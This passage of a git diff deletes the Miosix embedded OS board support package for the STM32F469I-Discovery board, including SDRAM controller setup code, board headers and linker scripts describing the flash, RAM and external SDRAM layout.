Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak DSI_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index a1da78be0..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F469xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() __DSB() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp.cpp deleted file mode 100644 index 91e068ad8..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,299 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" -// #include "kernel/IRQDisplayPrint.h" - -namespace miosix { - -// -// Initialization -// - -/** - * The example code from ST checks for the busy flag after each command. - * Interestingly I couldn't find any mention of this in the datasheet. - */ -static void sdramCommandWait() -{ - for(int i=0;i<0xffff;i++) - if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; -} - -void configureSdram() -{ - /* SDRAM pins assignment - PC0 -> FMC_SDNWE - PD0 -> FMC_D2 | PE0 -> FMC_NBL0 | PF0 -> FMC_A0 | PG0 -> FMC_A10 - PD1 -> FMC_D3 | PE1 -> FMC_NBL1 | PF1 -> FMC_A1 | PG1 -> FMC_A11 - PD8 -> FMC_D13 | PE7 -> FMC_D4 | PF2 -> FMC_A2 | PG4 -> FMC_BA0 - PD9 -> FMC_D14 | PE8 -> FMC_D5 | PF3 -> FMC_A3 | PG5 -> FMC_BA1 - PD10 -> FMC_D15 | PE9 -> FMC_D6 | PF4 -> FMC_A4 | PG8 -> FC_SDCLK - PD14 -> FMC_D0 | PE10 -> FMC_D7 | PF5 -> FMC_A5 | PG15 -> FMC_NCAS - PD15 -> FMC_D1 | PE11 -> FMC_D8 | PF11 -> FC_NRAS - | PE12 -> FMC_D9 | PF12 -> FMC_A6 - | PE13 -> FMC_D10 | PF13 -> FMC_A7 - | PE14 -> FMC_D11 | PF14 -> FMC_A8 - | PE15 -> FMC_D12 | PF15 -> FMC_A9 - PH2 -> FMC_SDCKE0| PI4 -> FMC_NBL2 | - PH3 -> FMC_SDNE0 | PI5 -> FMC_NBL3 | - - // 32-bits Mode: D31-D16 - PH8 -> FMC_D16 | PI0 -> FMC_D24 - PH9 -> FMC_D17 | PI1 -> FMC_D25 - PH10 -> FMC_D18 | PI2 -> FMC_D26 - PH11 -> FMC_D19 | PI3 -> FMC_D27 - PH12 -> FMC_D20 | PI6 -> FMC_D28 - PH13 -> FMC_D21 | PI7 -> FMC_D29 - PH14 -> FMC_D22 | PI9 -> FMC_D30 - PH15 -> FMC_D23 | PI10 -> FMC_D31 */ - - //Enable all gpios, passing clock - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | - RCC_AHB1ENR_GPIOIEN | RCC_AHB1ENR_GPIOJEN | - RCC_AHB1ENR_GPIOKEN; - RCC_SYNC(); - - //First, configure SDRAM GPIOs, memory controller uses AF12 - GPIOC->AFR[0]=0x0000000c; - GPIOD->AFR[0]=0x000000cc; - GPIOD->AFR[1]=0xcc000ccc; - GPIOE->AFR[0]=0xc00000cc; - GPIOE->AFR[1]=0xcccccccc; - GPIOF->AFR[0]=0x00cccccc; - GPIOF->AFR[1]=0xccccc000; - GPIOG->AFR[0]=0x00cc00cc; - GPIOG->AFR[1]=0xc000000c; - GPIOH->AFR[0]=0x0000cc00; - GPIOH->AFR[1]=0xcccccccc; - GPIOI->AFR[0]=0xcccccccc; - GPIOI->AFR[1]=0x00000cc0; - - GPIOC->MODER=0x00000002; - GPIOD->MODER=0xa02a000a; - GPIOE->MODER=0xaaaa800a; - GPIOF->MODER=0xaa800aaa; - GPIOG->MODER=0x80020a0a; - GPIOH->MODER=0xaaaa00a0; - GPIOI->MODER=0x0028aaaa; - - /* GPIO speed register - 00: Low speed - 01: Medium speed - 10: High speed (50MHz) - 11: Very high speed (100MHz) */ - - //Default to 50MHz speed for all GPIOs... - GPIOA->OSPEEDR=0xaaaaaaaa; - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; //...but 100MHz for the SDRAM pins - GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; - GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; - GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; - GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; - GPIOH->OSPEEDR=0xaaaaaaaa | 0xffff00f0; - GPIOI->OSPEEDR=0xaaaaaaaa | 0x003cffff; - GPIOJ->OSPEEDR=0xaaaaaaaa; - GPIOK->OSPEEDR=0xaaaaaaaa; - - //Second, actually start the SDRAM controller - RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - - //SDRAM is a MT48LC4M32B2B5 -6A speed grade, connected to bank 1 (0xc0000000) - FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency - | FMC_SDCR1_RBURST // Enable read burst - | 0 // 0 delay between reads after CAS - | 0 // 8 bit column address - | FMC_SDCR1_NR_0 // 12 bit row address - | FMC_SDCR1_MWID_1 // 32 bit data bus - | FMC_SDCR1_NB // 4 banks - | FMC_SDCR1_CAS_0 // 3 cycle CAS latency - | FMC_SDCR1_CAS_1; - - #ifdef SYSCLK_FREQ_180MHz - //One SDRAM clock cycle is 11.1ns - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>60ns) - | (2-1)<<20 // 2 cycle TRP (22.2ns>18ns) - | (2-1)<<0 // 2 cycle TMRD - | (7-1)<<4 // 7 cycle TXSR (77.7ns>67ns) - | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (22.2ns>18ns) - #elif defined(SYSCLK_FREQ_168MHz) - //One SDRAM clock cycle is 11.9ns - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>60ns) - | (2-1)<<20 // 2 cycle TRP (23.8ns>18ns) - | (2-1)<<0 // 2 cycle TMRD - | (6-1)<<4 // 6 cycle TXSR (71.4ns>67ns) - | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (23.8ns>18ns) - #else - #error No SDRAM timings for this clock - #endif - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB1 // Enable bank 1 - | 1; // MODE=001 clock enabled - sdramCommandWait(); - - //ST and SDRAM datasheet agree a 100us delay is required here. - delayUs(100); - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB1 // Enable bank 1 - | 2; // MODE=010 precharge all command - sdramCommandWait(); - - FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says - // "at least two AUTO REFRESH cycles" - | FMC_SDCMR_CTB1 // Enable bank 1 - | 3; // MODE=011 auto refresh - sdramCommandWait(); - - FMC_Bank5_6->SDCMR=0x230<<9 // MRD=0x230:CAS latency=3 burst len=1 - | FMC_SDCMR_CTB1 // Enable bank 1 - | 4; // MODE=100 load mode register - sdramCommandWait(); - - // 64ms/4096=15.625us - #ifdef SYSCLK_FREQ_180MHz - //15.625us*90MHz=1406-20=1386 - FMC_Bank5_6->SDRTR=1386<<1; - #elif defined(SYSCLK_FREQ_168MHz) - //15.625us*84MHz=1312-20=1292 - FMC_Bank5_6->SDRTR=1292<<1; - #else - #error No refresh timings for this clock - #endif -} - -// static IRQDisplayPrint *irq_display; -void IRQbspInit() -{ - //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here - #ifndef __ENABLE_XRAM - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | - RCC_AHB1ENR_GPIOIEN | RCC_AHB1ENR_GPIOJEN | - RCC_AHB1ENR_GPIOKEN; - RCC_SYNC(); - #endif //__ENABLE_XRAM - - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -// irq_display = new IRQDisplayPrint(); -// DefaultConsole::instance().IRQset(intrusive_ref_ptr(irq_display)); -} - -// void* printIRQ(void *argv) -// { -// intrusive_ref_ptr irqq(irq_display); -// irqq.get()->printIRQ(); -// return NULL; -// } - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -// Thread::create(printIRQ, 2048); -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp_impl.h deleted file mode 100644 index ca22925b6..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss - * Requires the CPU clock to be already configured (running from the PLL) - */ -void configureSdram(); - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::low(); -} - -inline void ledOff() -{ - _led::high(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+12m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+12m_xram.ld deleted file mode 100644 index b208105a3..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+12m_xram.ld +++ /dev/null @@ -1,185 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 384K RAM, 16M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * On top of that the board does not boot if the stack is placed in the small - * RAM, which is even more puzzling. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "large" 320KB RAM - * - .data, .bss, stacks and heap in the external 12MB SDRAM. - * Note that the SDRAM is 16MB, but this linker script only uses the lower 12. - * The upper 4MB are reserved as framebuffers for the LCD. Notice that the - * choice to allocate this space is due to the SDRAM architecture, composed of - * 4 banks of 4MB each. Reserving a bank for the LCD allows the software - * running on the board and the LCD to operate (almost) independently. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xc0c00000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K - /* - * Note, the large ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20000200. - */ - largeram(wx) : ORIGIN = 0x20000200, LENGTH = 320K-0x200 - xram(wx) : ORIGIN = 0xc0000000, LENGTH = 12M - lcdram(wx) : ORIGIN = 0xc0c00000, LENGTH = 4M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram.ld deleted file mode 100644 index 7717e0c52..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram.ld +++ /dev/null @@ -1,179 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 384K RAM, 16M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * On top of that the board does not boot if the stack is placed in the small - * RAM, which is even more puzzling. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "large" 320KB RAM - * - .data, .bss, stacks and heap in the external 16MB SDRAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xc1000000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K - /* - * Note, the large ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20000200. - */ - largeram(wx) : ORIGIN = 0x20000200, LENGTH = 320K-0x200 - xram(wx) : ORIGIN = 0xc0000000, LENGTH = 16M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram_processes.ld b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram_processes.ld deleted file mode 100644 index 7f09de1e8..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram_processes.ld +++ /dev/null @@ -1,183 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 384K RAM, 16M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * On top of that the board does not boot if the stack is placed in the small - * RAM, which is even more puzzling. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "large" 320KB RAM - * - stacks and heap in the "large" 128KB RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large ram */ -_end = 0x20000200; -_heap_end = 0x20050000; -/* Mapping the process pool into the xram */ -_process_pool_start = 0xc0000000; -_process_pool_end = 0xc1000000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K - /* - * Note, the large ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20000200. - */ - largeram(wx) : ORIGIN = 0x20000200, LENGTH = 320K-0x200 - xram(wx) : ORIGIN = 0xc0000000, LENGTH = 16M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - 